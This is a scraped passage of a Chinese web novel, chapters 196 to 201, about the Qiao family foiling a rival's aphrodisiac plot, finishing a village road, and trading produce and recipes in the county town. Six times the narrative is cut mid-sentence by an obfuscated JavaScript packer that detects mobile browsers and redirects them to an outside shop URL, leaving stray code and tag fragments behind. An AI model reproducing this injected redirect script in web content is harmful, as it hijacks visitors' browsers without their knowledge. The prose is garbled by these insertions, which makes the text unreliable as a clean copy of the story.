“我的儿啊,好好的,这是发生了啥事啊。” 沈老大一棍子敲在沈良的头上,把他敲晕,然后把人从猪圈里带出来。 沈良全身沾满了血,还有猪粪便,大家纷纷捂着鼻子往后退。 看够了热闹,乔家兄妹也回家了。 只有这个时候,大用心中的愤怒才得到了缓解。 乔溪儿心中也顺畅了。 “沈良以后要废了。”乔镰儿说,这种事情,给人造成的心理阴影是很大的,沈良就算能够缓过来,也要废好一阵子。 一个爱面子的人,在众目睽睽之下,做出这种越格疯癫的举动,多年来积攒的脸面全丢光了,也透支了未来的脸面,对于他来说是一个毁灭性的打击。 “活该,敢算计咱们乔家的女儿,这就是他的下场,就让他活着比死还痛苦。”大用吐出一口浊气。 好在他的妹妹没有一点损失,不然的话,他真的会要沈良的命。 “镰儿,你是怎么知道沈良是要这样做, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615474|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从而早就有防备。”大用觉得不可思议。 对于他来说,这件事情就是突然发生的,防不胜防,可是乔镰儿那里却做足了准备。 “那天雨停了,沈良不是要去镇子上,他已经背上了书箱,可我又看到他回了院子,接下来的几天他就在乔家附近徘徊,我担心他有所不轨,就让阿仓他们盯着他。” “结果看到他去镇子上买了那种药粉,我怀疑他要对溪儿姐不利,就让阿仓把药粉给换过来。” 大用一脸的厌恶:“沈家真是狗急跳墙,想要重新提起那一门亲事,不能如愿就耍出这种下三滥的招数。” 好在借着石家看清了沈家的嘴脸,要不然真的把妹妹嫁过去,妹妹这辈子不知道有多惨呢,不,还有整个乔家也要跟着倒霉。 乔镰儿:“没关系,沈良的精神毁了,以后怕是看到咱们乔家人都害怕呢。” 有这种经历的人, 会留下一辈子的心理阴影,抹都抹不掉。 沈家把人带回去,就请来了村郎中给沈郎接好脱臼的部位。 沈良靠在床头上,吊着手臂,整个人都很颓废,双目无神,转瞬之间,好像衰老了二十岁。 “儿啊,这是咋回事?是谁害的你,是不是乔家人。” 柳氏就不相信,她好好的儿子,会突然发失心疯。 正好乔家三兄妹在,她就怀疑,会不会跟他们有关。 如果是他们害的,那就把他们告到县衙门去。 沈良一句话都没有说,好像没有听见。 赵郎中正在把药箱收好,一边说道:“我在沈良的鼻孔里,检查到了一种药粉,那是催药,夫妻之间用的。” “他正是因为吸入了这个,才会如此失态。” 沈家人大吃一惊,难怪。 他们还说,沈良是家里最得体的人,怎么会变成这个样子。 “是乔家那几个兔崽子,一定是他们买的药,买来害我的儿子。”柳氏咬牙切齿,牙关磕碰着。 “当家的,你这就去镇子上问一问,找一个掌柜来作证。” “这下子,乔家要被我们抓到把柄了。” 第196章 啥,是沈良自己买的药? 柳氏眼里升起了亮光,对于她来说,沈良发疯失态已经是发生的事情,没办法改变,最关键的是,他们能够从这件事里,得到多少。 等到镇子里的掌柜或者老板来作证,乔家人的命就捏在他们手里了。 不想他们去告官,可以,赔他们一二千两银子,再把乔溪儿嫁到他们沈家。 不然,他们不罢不休。 哼,还要感谢乔家人这样做呢。 “我这就去,大侄子二侄子,你们跟我一起去。”沈老大说。 不怕掌柜的忘记,因为买这种药的人很少,稍微一记就能够记得起来,而且这些开馆子的人记忆好,又对周围村子的人面目有点熟悉。 沈老大就带着他的两个侄子去了。 刚才还一个个窘怒的沈家人,现在心中都升起了期待。 真是这样的话,乔家人是逃不过的,沈家要发一笔了。 沈良动了动嘴,想要说话,可所有的话都堵在了喉咙里,一个字都没力气吐出来。 他好像被一重重的黑暗所淹没和吞噬,只剩下无边无际的绝望。 “嘻嘻,嘿嘿。”沈良突然笑了起来。 “阿巴阿巴。” 赵郎中从沈家出来,摇了摇头,他不相信乔家人会干出这种事情。 因为太卑鄙,太下三滥了。 反而像是沈家能做得出来的。 “大侄儿,你们沈良大哥不会白白受这委屈,等到事情弄清楚了,有的人家就知道遭殃了。” 经过乔家门口的时候,沈老大故意大声说。 沈家二房老大沈广也是跟着应和:“附近村子的人人家都是打个照面的,就算几天前干的事情也逃不了。” 老二沈康冷笑道:“把沈良哥害成这个样子,不出血割肉地偿还,我们沈家绝不罢休。” 这会儿是傍晚,村里去路上干活的人都回家了,乔家人也在家,大家都听说沈良患了失心疯,追着一头母猪想要和母猪好的事情,就觉得很不可思议。 听到沈家在外头嚷嚷,乔老大感到奇怪:“他们是故意说给我们听的吗?这关我们啥事。” 兄妹三个已经商量了,这件事情还是对家里保密,没必要再引起大家的情绪。 乔镰儿道:“可能是觉得是我们害的吧。” “沈家不来害我们乔家,已经是万事大吉了,家里忙着开路,运料盖房子,摆摊做生意,哪里有时间跟他沈家计较。”冯氏撇了撇嘴。 乔老三:“以为我们家跟他们家一样卑鄙呢,再在外面嚷嚷,老子就一拳头打出去。” 这会儿,又有人从门口经过,对里面乔家人说了一声。 “沈良变傻子了。” 大成:“啥?” “一句齐整的话都说不出来,只会阿巴阿巴,只会傻笑。” “唉,整个人都不正常了,不知道啥时候才会见好呢。” 村里人叹了一口气,走了。 沈家人再不像话,可是看到一个人好好的变成这样,年纪轻轻就废掉了,还是令人唏嘘。 不过,这对于乔家人来说,是好事。 要乔家人不感到痛快,那是不可能的。 一个个大为舒畅,忍不住想要放鞭炮庆祝。 吃到嘴里的红薯干,都更香更甜了呢。 干活回家,有美味的零嘴吃,本来心情就很不错了,这下子听到这么好的消息。 大家都压不住上扬的嘴角。 “可能这就是报应吧。”乔吱吱说了一句。 “是报应,是天意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615475|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”乔老太道。 沈老大找到了那家卖药的医馆子,前面沿街过来就找了一家,不过这家说这几天并没有卖出去催药。 这是找的第二家。 “是有人来我这里买过,这五天内前后两个人,一个年纪大一点,一个年轻一点。” “年轻一点的长什么样子?”沈老大赶紧问。 应该是乔镰儿这个满肚子心思的,其他乔家人都在路上忙,没空管这些事。 掌柜的看了看沈广。 “跟这个小兄弟差不多一样高,稍微要高一点,穿一身青衫,容貌清秀,噢对了,好像还在天香楼学账房,是大田村那个方向的人,叫沈什么。” “你们也是大田村的吧,见过你们几次了。” 老板这些话说完,沈老大三个的脸色都变了。 描述的这个人,可不正是沈良吗? 那种药,怎么可能会是沈良买的呢?还用在自己身上,这不是自讨苦吃,自己害自己吗? “老板你有没有记错,有没有可能是一个小丫头来买的,她这么高。” 沈康说着,比划了一个身高,跟乔镰儿差不多一样高。 老板的嘴角边都抽搐了:“小兄弟你不要开玩笑,七八岁的小丫头买这种药去做什么?这,这没天理呀,那天来的那个小兄弟说了,他刚刚成婚,妻子冷淡,才买这种药。” “老板你看错了吧,真的是在天香楼做账房学徒的那个小兄弟?” “我没看错,买这种药的人才有多少,我记得清清楚楚的。” “我就实话跟你说了,买这种药的人我都会专门留 意一下,免得拿去做坏事,扯上了官司,我好去作证。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第197章 大道修通,上报县衙请功 “怎么样了?沈大伯问清楚了没有?是谁去买的那种药啊。”乔镰儿一脸好奇的样子,让沈老大的血压一下子上来了。 他甚至怀疑,沈良变成这个样子,跟乔镰儿脱不开干系,这个丫头鬼点子可多了。 他正要发作,就看到乔镰儿身边还站着一个人,是人高马大的大用。 大用抱着双臂,一脸的阴沉。 沈老大心头就犯起了怵,只是不满地哼了一声,就加快脚步走了。 开工十三天后,大田村的队伍和官府的施工队相遇了。 官府只派出了三十多个人的施工队,都是服徭役的百姓,再配两个监工。 这个时候,他们也才解决了十个垮塌点。 按照这样的进程,起码得两个月,这条路才能通行。 看到对面乌泱泱的一百来号人,两个监工对视一眼,满脸的惊讶。 “你们是宁县那边官府让来通路的?”监工问道。 可是看这么多人都没有穿徭役服,而且也没有收到那边官府合作通路的消息。 “官爷,是这样的,我们是自发修路,因为村里有人要去县城做生意,所以想快一点。”乔老大上前说道。 两个监工就近检查了一下他们修过的位置,那些滑坡的路段,把障碍物都清了,还加固了一下路旁的坡,那些塌陷的路面,先是填了石头,然后再填泥土,踩得严严实实。 可以说是一个漂亮活。 又让士兵快马去看了一眼其他修好的路段,通通都没问题。 两个监工脸上都露出了满意,这样的话他们也能回去交差了,天天在外面被毒辣的日头晒着,谁都不乐意接这一门苦差事。 “你们是哪个村子的?” “宁县,清水镇,大田村。” 一个监工摸着下巴,似乎是想起了什么:“我记得这条路上,前段时间有一个山匪窝子,也是被你们大田村的人给剿灭了?” 乔老大道:“回官爷,正是。” 监工的神情更多了一抹欣赏:“好,好,干得不错,真乃义士之村。” “这样吧,虽然你们是宁县的人,可是也给我解决了大麻烦,我回去禀报县老爷,多少给你们一点奖励,先到我这里登记一下,每家报一个名字就可以。” 监工心情大快,立刻让衙差准备笔墨纸砚。 大田村的村民们脸上都浮起了喜色,大家本来是惦记着乔家的恩情,自愿来干活,没想到还有奖励呢。 大家排好队,纷纷报上自家的名字。 等到记录完毕,监工道:“都回去等消息吧,这段时间辛苦大家了。” 今天是干活的最后一天,大家走在回去的路上,说说笑笑,分外的轻松。 修好的路面平坦顺畅,仿佛从来没有被暴雨冲刷过。 晚风带着一点初秋的凉意,不知吹来哪个村子的稻花香,夕阳西下,晚霞像一匹匹绚丽的彩缎,又像火焰在燃烧,交织渲染,把每一个人的脸庞都氲得红膛膛的。 村民们回到村子,夜幕刚刚降临,正好赶上吃晚饭。 闻着村子上方飘着的饭菜香,一个个都忍不住加快了脚步。 “完工咯,完工咯。”大家一阵欢呼。 “今天结束了,路通了。”乔家院子里,大猛高兴地说。 “明天就可以去县城了。” 今天,乔家人都有点紧张,加上检查路面耽搁的那一天,到今天已经是十四天过去了,如果今天不能完工,最晚也要明天完工,这样才不用付违约金。 前面赵里正已经带人去看过了,宁县官府只出了三十多号徭役,而且不怎么赶进度,所以主要看大田村这边,这边要加把劲。 本来以为大田村这么多人,不用小半个月,十天就可以,可另一头路段不给力,这样一来延期三天,预计今天或者明天完成。 明天就是最后一天了,不管完成得多晚,乔家都要赶去县城,把尾款给付了。 再拖一天,材料厂和施工队那里都不好交代。 所以听到村民们说完工,乔家人悬起的一颗心放了下来。 “太好了,太好了,这些天这颗心哟,七上八下的,就怕赶不及。”乔老太念叨着。 这阵子大家都焦急,只是谁都没有表露出来,就怕影响到家里人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615476|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这下子一个个不吐不快。 万氏:“是啊,万一赔个倾家荡产,这段时间的努力都白费了,我还做了几个噩梦呢。” 乔老二:“我都做不了噩梦,因为我根本睡不着。” 大家都不由得笑了起来,笑得很放松。 乔镰儿道:“明天就不摆摊了,需要运料,安顿施工队,事情多着呢,全家都要忙活起来。” 而且,快要一个月过去了,她要听一听风向。 现在开始秋收了,她担心会有什么动静。 “好,先把这些安排妥当了。”乔老大道。 “嗯,那些酒楼饭馆应该要进食材,食材还是可以卖一卖。”乔镰儿说。 实际上,光是卖食材就有不少钱了。 大用本来欲言又止,听她这样说松了一口气,因为凌音在家里做辣白菜,就等着 借他们的摊子卖出去呢。 想到明天就要开始盖房子,乔家人心中一阵激动。 大院子,堂屋,宽敞的房间,厨房,柴房,仓库——听镰儿的计划,还要建一条避雨的回廊,院中再建两个亭子。 想想就美好。 乔镰儿也完成了房子的规划图,细致的建筑构造她不懂,她只是弄一个大体的样子,要的是这样的一个面貌格局。 交给工头,工头会知道怎么做。 第二天一大早,乔家人留一半在家里,一半去城里。 家里的,把屋子向北向东的那一大块地给清理干净。 那里长了不少杂草,堆了不少石头。 不仅仅盖房子,施工队还要在这里搭帐篷住下。 还要砌一个大砖灶,会有专门的人煮饭给施工队的人吃。 乔镰儿赶着马车到了半路,看到迎面来了几个孩子,可不是阿大他们几个。 她立刻停下了马车:“你们这是去哪里?” 几个孩子看到她,一个个眼睛发亮,大大松了一口气。 “一个月没有见镰儿姐了,又听说你们村子每年下大暴雨受灾严重,我们担心你们家人出事,路通了,就打算去你们村子里看看。” 第198章 真的吗?那姑奶奶来了 看着这些孩子们,一片赤诚真心,乔镰儿心中一阵感动。 “都没事,好着呢。” “你们呢,这个月有没有挨饿,有没有钱用。” “镰儿姐给的工钱我们都还没有用完呢,每顿都饱饱的。”阿大幸福地说。 下暴雨的那一天,乔镰儿从县城回家,叮嘱阿大他们留意打听一些小道消息。 不过她没有忙着问。 大用把马车门打开,孩子们都上了马车。 马车上有糖,大用拿给孩子们吃,自己偷偷藏了几颗。 到了县城,乔家人先去了砖瓦厂,看到乔镰儿,老板大松了一口气。 “小丫头,你总算来了啊,就要超日期了,这些瓦辛辛苦苦给你烧出来,就这样放着,就怕你不来,到时候我咋办哟。” “抱歉老板,这不下了这么久大暴雨,到这里的路又堵了,好不容易疏通,我就赶着马车来了。”乔镰儿说。 “也是,这段时间都不容易,你去检查一下货,如果没有啥问题,你把尾款付了,我让车队给你运送到家。” 老板带着乔家人到了仓库:“这就是你们家定下的全部砖瓦,分成好几批烧成的,一批就要烧制七天。” 大家就看到那些青砖和红瓦各自堆叠码在一起,色彩润泽鲜艳,在阳光下熠熠生辉,好看极了。 虽然不是琉璃瓦,但效果也差不太多了。 乔家人都看呆了,小猛忍不住伸手摸了一下:“凉凉的,滑滑的,真好摸。” 大家不由得想象,由这些砖瓦组成的房子,不知道会有多么漂亮。 好好看了一遍,就连细小的裂纹都没有,乔镰儿也痛快付了尾款。 老板立刻喊了车马队来,运送砖瓦,大成跟着回去。 木料厂那边,乔家人到了门外,就听到里头气哼哼道。 “辛辛苦苦准备好这些,竟然放我们鸽子,这个账目要咋填补,真想打死那个臭丫头。” “人不见了,八号摊子去看了几次,连摊子都不来摆了,这是多大的胆子敢欺负到我们兄弟的头上,真以为跑得了?反正知道他们家在哪里,直接去家里要钱。” “敢不给,呵,那就去见官。” “不要着急,这不是最后的期限吗?过了今天才是超过日期,万一人家今天来了,你们说这些话让人听到,闹红了脸,生意就真的做不成了。” “大哥你还为那个死丫头说话,她一个月不见影子,怎么可能今天会来,她真要来了,我给她磕头,喊她一声姑奶奶。” 木料厂三兄弟吵起来了。 乔镰儿怎么会错过别人喊她姑奶奶的机会,一听这话就走了进去。 “真的吗?那姑奶奶来了。” 三兄弟回头一看,就看到一个小丫头立在不远处,她的眼眸闪着光,带着几分促狭。 一时间,他们有一种喜极而泣的感觉,激动的心,颤抖的手。 就好像看到救星了。 “哎哟我的姑奶奶,盼星星盼月亮终于把你盼来了,还以为你跑了,那我们准备好的这些料子咋办?” 老三是个胖子,刚才还一脸的义愤填膺,恨不得把乔镰儿撕了,现在已经是一副笑眯眯的样子,满脸的横肉都堆了起来。 大用大猛他们刚才听到那些话想打人,看这胖子的态度,拳头也松开了。 算了吧,伸手不打笑脸人,人家的确也等久了。 换做是他们,也会生出这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615477|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀疑。 “是啊我来了,大叔你说的话还算数吗?” “算数算数,实在是对不住了姑奶奶,是我一时嘴欠,这不是最后一天了吗?真以为你不来了。”老三抱拳赔着笑。 老大看起来要稳重许多,笑呵呵道:“各位,这些木料,不同的种类,不同的规格大小,准备齐全可不容易,因为各家各户需要的尺寸大小不一样,要是你们不来,我们没办法处理呀。” “现在你们来了,就好好看看这些料子,量一量尺寸,没问题的话,今天就给你们送过去。” “好。”乔镰儿应下。 前面那家砖瓦厂,当着乔家人的面清点了数量,这些木料厂,检查质量没问题之后,又对了一下尺寸,确保完全无误。 然后,木料也开始运送,这一趟让大猛跟着回去。 又去找了施工队,告诉他们今天可以出发,还请了三个煮饭的妈子,又申请买了几口大锅,乔老二和万氏也送着这些人回去了。 留在县城里的,还剩下乔镰儿,大用小猛,还有冯氏。 他们终于有时间去八号摊子。 这才发现,八号摊子那里换人了,换了另一个摊主,正在卖烤臭豆腐。 “这是怎么回事,我们家的摊子被人占了?他们还有没有道理。”小猛瞪圆了眼睛,就要冲上去。 乔镰儿突然想到了什么,把小猛给拉住了。 “是摊子到期了,一个月后没有续摊位费,别人就可以租用。” 大家这才想起来,距离他们开始摆摊,已经过去一个多月了,没有再交租金,他们已经不是摊主了。 小主,这个章节后面还有哦,请点击下一页继续阅读, 后面更精彩! 第199章 很满意这个准儿媳 人们经过卖辣白菜的摊子,都会忍不住停下来看两眼,有的就决定买回去尝一尝,还有一些像是回头客,已经很熟悉了。 母女俩忙活着,从大坛子里夹出一颗又一颗的辣白菜,凌晓就负责收钱。 忙得就连空隙都没有。 但是有钱赚,母女三个脸上都带着满足。 大用也勾起了嘴角,他本来还担心凌音等着他们,眼睁睁看着腌制出来的辣白菜浪费掉,却又无可奈何。 想到这样的情形他就心疼。 哪里想到,人家在这里卖得这样好。 大用差点一拍脑门,他真是想多了。 一抬头,凌音就看到了乔镰儿他们。 “娘,是他们来了,你先忙着。”凌音朝这边走了过来,一脸明媚的笑容。 目光扫了一眼大用,见他就这样望着自己,好像相熟的人好几年没见一样,她不由得脸颊发烫。 又看到了大用身边的妇人,面容和大用有几分相像,是大用的母亲吧。 “凌音姐,你们来这里卖了几天了?”乔镰儿问道。 “卖了五天了,大暴雨之后道路封堵严重,清理了几天之后,路上的障碍少了,我们绕一段山路,再到大路,就这样到县城。” “大暴雨那段时间,一直在做辣白菜,做了十个坛子的量呢,最后两坛辣白菜,今天也差不多能卖光。” 凌音的眼里亮晶晶的:“谢谢你镰儿,是你提供给我辣椒,是你教会我做这种辣白菜的法子,这些日子我们家一天能挣五六百文。” “我们中午吃过饭以后才到县城来出摊,这种辣白菜受欢迎,卖得快,也不用担心卖不完。” “还有,我去过八号摊位,可是没有见你们,我想跟你们说,我们自己卖就可以,就不用麻烦你们啦。” 她现在知道了,只要味道足够好,在哪里都不愁。 说到底,是原来做的辣白菜不够好吃而已。 凌音一口气说了这么多才停下来。 冯氏在默默观察这个姑娘,样貌不算漂亮但是端正,笑起来很好看,而且性子明朗活泼,身上有一种说不出来的干劲。 在家里的时候,其他人就提到大用中意这个姓凌的丫头。 说实话,这第一次见面,她看这一眼也是挺喜欢的。 “凌音姐,我来找你是要跟你说,八号摊位租期一个月,因为路面耽搁,我没有续租,现在摊主已经变成别人了,怕你东西做出来没有落脚处。” “现在看到你们的辣白菜,卖得这样好,我就放心了。” 凌音道:“我看到换了人,也是猜到了,过去你们村子的那一条路损毁严重,能在现在打通,已经是很快了。” “大姐,丫头,实在是太忙,腾不出手来。”那边凌音的娘秋氏一脸抱歉地说。 冯氏就走了过去:“孩子们好久没见了,让他们唠嗑唠嗑,我来给你搭把手。” “哎呀大姐,这怎么可以,你们家给我们的这些辣椒都没有要钱,又来帮我的忙。” “有啥,我跟着镰儿丫头跑来跑去,也没啥事情是我能忙的,手都要闲慌了。”冯氏说。 本来今天她不用来的,镰儿喊她来了,前面运砖瓦运木料,还有施工队的都去了村子,也没有让她跟着去引路。 现在到了这里,剩下她和大用,她就有点明白镰儿的意思了。 镰儿是让她笼络一下感情呢。 那是当然,想要娶人家姑娘做儿媳妇,她这个做娘的也要拿出自己的诚意。 乔镰儿让大用去马车上,把两袋辣椒面给搬下来。 大用的印象中并没有这个东西,但是他懒得去想那么多了。 “这两袋辣椒面有二百斤,应该够你们卖上半个月的辣白菜了。”乔镰儿说。 凌音也正想问辣椒面的事情呢,看到两大袋,眼睛一亮:“这一回无论如何也要给你们钱,镰儿妹妹,你可不能再跟我客气了,不然你就算给,我也不好意思要。” 乔镰儿想了想:“这样吧,给个二百文钱。” “这么多东西,这么少的钱?”凌音讶然之后摇头:“镰儿妹妹,你这是在故意照顾我呢,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615478|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能这样,你会亏本的,以后我还要跟你买辣椒面。” 乔镰儿笑了:“这个东西不值钱,我买土豆的时候人家搭配着给的,现在暂时不摆摊,收你二百文都还多了呢。” 凌音知道是她的托辞,可是没有办法,只好摸出二百文钱。 大用帮忙把辣椒面扛到摊位,秋氏看了看这个厚道实诚的后生,脸上也是浮起了几分满意。 她知道这孩子的心意,也看出了大用娘的意思,可是想到一件事,她低下头,忧心忡忡暗叹了一口气。 三个月,只剩下三个月,事情会有转机吗? 卖这些辣白菜,多卖一点,应该还是来得及的。 要不然,音丫头这辈子的幸福就要耽搁了。 等到分别的时候,大用把在马车上藏起的那几颗糖放在了摊位上。 凌音的母亲在,他不好单独给她。 凌晓悄悄拉了拉他的手,仰着头,好像有什么话要说,大用俯下身来。 “大用哥你放心吧,我知道这些糖是给我姐的,我一颗都不吃。”凌晓神秘兮兮地说。 大用被这个可爱的孩子逗笑了,刨了刨他的脸蛋:“你也吃。” “好呀,那我就吃一颗,大用哥真好。” 秋氏备着一个小坛子,里面装着辣白菜。 “都是最嫩的菜心,专门挑出来做给你们吃的,这个坛子,我来回捎带好几次了,可盼到了你们来。” “妹子你有这份心,大姐我这心里面哟,暖暖的。”冯氏抱着坛子,像捂着一件宝贝。 “不讲这些客套话,要不是你们,我们还做不成这个小买卖呢。” 乔镰儿赶着马车到了长青街那个废院,她往马车里装满了食材,让大用和冯氏先去卖给那几家熟悉的酒楼,卖完了再把马车赶回来再装货,料想今天需求应该会很大。 至于卖番茄,等一下她自己去推销。 然后她问阿大:“这段时间,有啥动静没有?” “有。”阿大就等着她问呢,一听就点头:“我们潜去县衙里听到了一些消息。” 第200章 一定会大卖的食方,三倍价 “就在昨天晚上,这里来了几个神秘的人,县令大人接待了他们。” “我们听到他们跟县令大人议论,这段时间要严格统计各家酒楼饭馆商铺的利润所得,还有辖治下的所有镇子和村子百姓的秋收情况,然后做一个总的汇报。” 虽然早就有防备,可是乔镰儿心底还是沉了沉。 果然,该来的还是要来。 “还有还有,那些人交代过了,不光光是那些沿街的楼铺,那些做小吃摊的,生意好的都要统计,统计摊主是哪里人士。” “他们说了,等到秋收完成,他们还会再来,会来更多的人。” 阿大也不知道,这是不是乔镰儿感兴趣的,大暴雨之前,镰儿姐从县城回家,特地叮嘱过他们留意一些和以前不一样的风向,县衙这里要重点观察,看看有没有什么没有见过的人往这里来。 想来想去,就这件事最为符合了。 “镰儿姐,还有就是,县令的老婆和县令的兄弟偷偷好了两年,这也是我们刚刚打探到的,县令一直蒙在鼓里,对了还有,昨天从外地进了一种本地从来没有见过的大黄猪,说是和山上的野猪配出来的,我们几个去看过,个头挺大,还挺新奇的呢。” 乔镰儿嘴角都抽搐了,她听这些乱七八糟的做什么啊? “好了知道了,就你说的第一件事,继续留意着,其他七零八碎的不用去管。” 听她这样说,阿大也知道大致的方向了,重重点了一下头:“嗯。” 乔镰儿从袖子里面摸出三两银子,交到阿大的手上。 “这段时间我们就不摆摊了,除了让你们打听一下消息,也没有什么让你们帮忙的,不会像以前那样结算工钱。” “这点银子先拿着,肚子吃饱了,才有力气跑腿。” 阿大拿着银子,满眼的感动。 “镰儿姐,放心吧,你交代我们的,我们都会给你做好。” “就算你们再也不摆摊了,也没什么事吩咐我们了,我们也不会饿死,平时大家去给酒楼饭馆打打杂,做做短活,还是有一点收入的。” “这是你教给的我们做人的道理,教会我们自力更生。” “好了,说得好像以后不管你们一样。”乔镰儿笑了:“只是事情不会永远是一成不变的局面,你们自己长了本事,才是最根本。” “嗯嗯,我记住啦。” 院子里的杂草早就清干净了,屋内屋外都打扫得整洁干净,厨房里,那个原来的灶坍塌了一角,但是被孩子们修补好了,孩子们的生活变得有规划,有秩序。 乔镰儿想着,什么时候让他们把户籍落在这里,但现在还不是时候。 这一处宅子荒废三年了,但也不是想占就能占的,现在要去跟县衙请求,怕是县衙也很难批准。 赵里正要把她造桥的事情报上去,如果她能得到额外的一点加持,或许会起到作用。 所以,还是等一等吧。 大用赶着马车回来了,一脸的喜色。 “两千斤的东西全卖出去了,那些酒楼还嫌不够,还要再定。” 一千斤土豆,五百斤玉米,五百斤花生,全部都卖光光,一下子赚了四十二两。 把马车赶进院子,三个人都到了院外等着。 这样的默契,不由得让乔镰儿想到,家里人是不是猜到了什么。 其实想要长久地瞒着他们,是不大可能的,乔家人都不是傻子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615479|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而他们选择主动避开,也是不想让她为难,给她空间。 乔镰儿会心一笑。 土豆的需求量是最大的,她又放了一千斤土豆,然后是三百斤花生,七百斤的番茄。 大用引着路,去那些需要食材的酒楼饭馆,土豆很快卖掉一半,花生也差不多卖光了。 乔镰儿又赶着马车,去了蔡老板的玖味楼。 看到乔镰儿,蔡老板马上喜笑颜开:“小丫头,一个多月不见,刚才你兄长来卖食材,我还以为今天见不到你了。” “大暴雨之前跟你买的食材,酒楼早就卖光了,我就寻思着,要是你还不出现,就去你的村子找你。” 乔镰儿道:“我还给蔡老板带来了一种新的食材呢,还有一个一定会大卖的食方子。” “噢,是什么食材?”蔡老板很好奇。 大用把马车门打开,蔡老板就看到了那些红彤彤的,每一个都有拳头那么大的东西。 蔡老板拿起来看,脸上有些讶异,的确没有见过。 与其说是像食材,倒不如说像水果。 “这个东西,做出来好吃?” “嗯,这叫番茄,自有搭配做法,我现在就做一道菜出来,不过我一弄食方就露馅了,蔡老板要先跟我把这个食方买下来。” “好,我信你,这个食方要多少钱?”蔡老板听说会大卖,就知道价格一定比前面的食方贵。 乔镰儿伸出了十个手指:“十两。” 蔡老板摸着下巴:“可是比前面的还要贵三倍。” “但是很快就能赚回来了。”乔镰儿眨眨眼。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第201章 联合酒楼做账本 蔡老板见乔镰儿一脸郑重,好像有很重要的事情。 就吩咐伙计和乔家人过称,他把乔镰儿请到后院去,又让人奉上了茶水。 “小丫头,你说吧。” 乔镰儿道:“我听到一些风声,上面吩咐这里官府检查酒楼铺子的经营情况,等需要时候征发银两,这两天他们应该要行动了。” 这个消息对于做生意的人来说,不啻于晴天惊雷,蔡老板整个人都僵了一下。 “小丫头,你说的可是真的,可有依据?” “这,这可开不得玩笑呀。” “我没有开玩笑,我一直让人注意着的,咱们做生意的,怎么能不小心一点。” 蔡老板又看了看她的脸色,很平静,但透着一种山雨欲来风满楼的感觉。 “你们,院子里的,都出去出去。”蔡老板有些烦躁地说,虽然刚才乔镰儿说话的声音小,别人也听不见。 等到把人全部都清走了,蔡老板深吸了一口气。 “小姑娘,你虽然年纪小,但却是个有主见的。” “你不可能只是为了告诉我这件事,你有你的想法和应对吧。” 他们这些做生意的,平时缴纳的税就已经够沉重了,真把银两都抢走的话,那他十几年的努力都打水漂,他又怎么会愿意? 